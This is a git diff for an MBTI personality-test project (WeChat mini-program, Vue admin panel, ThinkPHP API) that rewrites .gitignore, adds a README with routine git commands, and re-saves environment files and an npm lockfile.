diff --git a/.gitignore b/.gitignore index 1bf2fbd..b02cf91 100644 --- a/.gitignore +++ b/.gitignore @@ -1,9 +1,29 @@ -.cursor/ -api/runtime/ -api/vendor/ -*.code-workspace -*.env -api/database/ -*.zip -.git222/ -.git22222/ +# 依赖 +node_modules/ +vendor/ + +# 构建产物 +dist/ +dist-ssr/ +build/ + +# 环境与敏感信息 +.env +.env.local +.env.*.local + +# 日志与运行时 +*.log +api/runtime/log/ +api/runtime/cache/ +api/runtime/temp/ + +# IDE +.idea/ +.vscode/ +*.swp +*.swo +.DS_Store + +# 小程序私有配置(含 AppID 等) +miniprogram/project.private.config.json diff --git a/README.md b/README.md new file mode 100644 index 0000000..6e8264d --- /dev/null +++ b/README.md @@ -0,0 +1,26 @@ +# mbti王 + +MBTI 性格测试小程序 · 管理后台 · API 服务 + +## GitHub 仓库 + +- **地址**: https://github.com/fnvtk/MBTI_wang +- **克隆**: `git clone https://github.com/fnvtk/MBTI_wang.git` + +## 日常同步 + +```bash +# 拉取最新 +git pull origin main + +# 提交并推送 +git add . +git commit -m "描述" +git push origin main +``` + +## 项目结构 + +- `admin/` - Vue 管理后台 +- `api/` - ThinkPHP API +- `miniprogram/` - 微信小程序 diff --git a/admin/.env.development b/admin/.env.development index 6936af1..6318896 100644 --- a/admin/.env.development +++ b/admin/.env.development @@ -1,7 +1,7 @@ -# 开发环境配置 -# 测试环境API地址 -VITE_API_BASE_URL=http://mbti.com - -# 环境标识 -VITE_APP_ENV=development +# 开发环境配置 +# 测试环境API地址 +VITE_API_BASE_URL=http://mbti.com + +# 环境标识 +VITE_APP_ENV=development VITE_APP_TITLE=MBTI管理后台-测试环境 \ No newline at end of file diff --git a/admin/.env.production b/admin/.env.production index 5fdb4b7..100804b 100644 --- a/admin/.env.production +++ b/admin/.env.production @@ -1,7 +1,7 @@ -# 生产环境配置 -# 正式环境API地址 -VITE_API_BASE_URL=https://mbtiapi.quwanzhi.com - -# 环境标识 -VITE_APP_ENV=production +# 生产环境配置 +# 正式环境API地址 +VITE_API_BASE_URL=https://mbtiapi.quwanzhi.com + +# 环境标识 +VITE_APP_ENV=production VITE_APP_TITLE=MBTI管理后台 \ No newline at end of file diff --git a/admin/.gitignore b/admin/.gitignore index 64a9b80..84c6442 100644 --- a/admin/.gitignore +++ b/admin/.gitignore @@ -1,32 +1,32 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* -lerna-debug.log* - -node_modules -.DS_Store -dist -dist-ssr -coverage -# 环境文件(.env.local 不提交,但 .env.development 和 .env.production 需要提交) -.env.local -.env.local.* - -# Editor directories and files -.vscode/* -!.vscode/extensions.json -.idea -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? - -# Auto-generated -src/auto-imports.d.ts -src/components.d.ts - +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +.DS_Store +dist +dist-ssr +coverage +# 环境文件(.env.local 不提交,但 .env.development 和 .env.production 需要提交) +.env.local +.env.local.* + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? + +# Auto-generated +src/auto-imports.d.ts +src/components.d.ts + diff --git a/admin/index.html b/admin/index.html index d30c5f2..77336c6 100644 --- a/admin/index.html +++ b/admin/index.html @@ -1,14 +1,14 @@ - - - - - - - MBTI 管理后台 - - -
- - - - + + + + + + + MBTI 管理后台 + + +
+ + + + diff --git a/admin/package-lock.json b/admin/package-lock.json index 45258d8..61b506b 100644 --- a/admin/package-lock.json +++ b/admin/package-lock.json @@ -1,3211 +1,3211 @@ -{ - "name": "mbti-admin", - "version": "1.0.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "mbti-admin", - "version": "1.0.0", - "dependencies": { - "@element-plus/icons-vue": "^2.3.1", - "axios": "^1.6.7", - "dayjs": "^1.11.10", - "echarts": "^5.6.0", - "element-plus": "^2.6.2", - "pinia": "^2.1.7", - "vue": "^3.4.21", - "vue-echarts": "^6.6.9", - "vue-router": "^4.3.0", - "vue3-draggable-resizable": "^1.6.5" - }, - "devDependencies": { - "@vitejs/plugin-vue": "^5.0.4", - "@vue/tsconfig": "^0.5.1", - "sass": "^1.71.1", - "typescript": "~5.4.0", - "unplugin-auto-import": "^0.17.5", - "unplugin-vue-components": "^0.26.0", - "vite": "^5.1.6", - "vue-tsc": "^2.0.6" - } - }, - "node_modules/@antfu/utils": { - "version": "0.7.10", - "resolved": "https://registry.npmmirror.com/@antfu/utils/-/utils-0.7.10.tgz", - "integrity": "sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.29.0", - "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.29.0.tgz", - "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==", - "license": "MIT", - "dependencies": { - "@babel/types": "^7.29.0" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/types": { - "version": "7.29.0", - "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.29.0.tgz", - "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@ctrl/tinycolor": { - "version": "3.6.1", - "resolved": "https://registry.npmmirror.com/@ctrl/tinycolor/-/tinycolor-3.6.1.tgz", - "integrity": "sha512-SITSV6aIXsuVNV3f3O0f2n/cgyEDWoSqtZMYiAmcsYHydcKrOz3gUxB/iXd/Qf08+IZX4KpgNbvUdMBmWz+kcA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/@element-plus/icons-vue": { - "version": "2.3.2", - "resolved": "https://registry.npmmirror.com/@element-plus/icons-vue/-/icons-vue-2.3.2.tgz", - "integrity": "sha512-OzIuTaIfC8QXEPmJvB4Y4kw34rSXdCJzxcD1kFStBvr8bK6X1zQAYDo0CNMjojnfTqRQCJ0I7prlErcoRiET2A==", - "license": "MIT", - "peerDependencies": { - "vue": "^3.2.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", - "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.21.5.tgz", - "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", - "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.21.5.tgz", - "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", - "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", - "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", - "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", - "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", - "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", - "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", - "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", - "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", - "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", - "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", - "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", - "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", - "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", - "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", - "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", - "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", - "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", - "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", - "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=12" - } - }, - "node_modules/@floating-ui/core": { - "version": "1.7.4", - "resolved": "https://registry.npmmirror.com/@floating-ui/core/-/core-1.7.4.tgz", - "integrity": "sha512-C3HlIdsBxszvm5McXlB8PeOEWfBhcGBTZGkGlWc2U0KFY5IwG5OQEuQ8rq52DZmcHDlPLd+YFBK+cZcytwIFWg==", - "license": "MIT", - "dependencies": { - "@floating-ui/utils": "^0.2.10" - } - }, - "node_modules/@floating-ui/dom": { - "version": "1.7.5", - "resolved": "https://registry.npmmirror.com/@floating-ui/dom/-/dom-1.7.5.tgz", - "integrity": "sha512-N0bD2kIPInNHUHehXhMke1rBGs1dwqvC9O9KYMyyjK7iXt7GAhnro7UlcuYcGdS/yYOlq0MAVgrow8IbWJwyqg==", - "license": "MIT", - "dependencies": { - "@floating-ui/core": "^1.7.4", - "@floating-ui/utils": "^0.2.10" - } - }, - "node_modules/@floating-ui/utils": { - "version": "0.2.10", - "resolved": "https://registry.npmmirror.com/@floating-ui/utils/-/utils-0.2.10.tgz", - "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==", - "license": "MIT" - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "license": "MIT" - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@parcel/watcher": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher/-/watcher-2.5.6.tgz", - "integrity": "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "dependencies": { - "detect-libc": "^2.0.3", - "is-glob": "^4.0.3", - "node-addon-api": "^7.0.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - }, - "optionalDependencies": { - "@parcel/watcher-android-arm64": "2.5.6", - "@parcel/watcher-darwin-arm64": "2.5.6", - "@parcel/watcher-darwin-x64": "2.5.6", - "@parcel/watcher-freebsd-x64": "2.5.6", - "@parcel/watcher-linux-arm-glibc": "2.5.6", - "@parcel/watcher-linux-arm-musl": "2.5.6", - "@parcel/watcher-linux-arm64-glibc": "2.5.6", - "@parcel/watcher-linux-arm64-musl": "2.5.6", - "@parcel/watcher-linux-x64-glibc": "2.5.6", - "@parcel/watcher-linux-x64-musl": "2.5.6", - "@parcel/watcher-win32-arm64": "2.5.6", - "@parcel/watcher-win32-ia32": "2.5.6", - "@parcel/watcher-win32-x64": "2.5.6" - } - }, - "node_modules/@parcel/watcher-android-arm64": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.6.tgz", - "integrity": "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-darwin-arm64": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.6.tgz", - "integrity": "sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-darwin-x64": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.6.tgz", - "integrity": "sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-freebsd-x64": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.6.tgz", - "integrity": "sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm-glibc": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.6.tgz", - "integrity": "sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm-musl": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.6.tgz", - "integrity": "sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm64-glibc": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.6.tgz", - "integrity": "sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-arm64-musl": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.6.tgz", - "integrity": "sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-x64-glibc": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.6.tgz", - "integrity": "sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-linux-x64-musl": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.6.tgz", - "integrity": "sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - 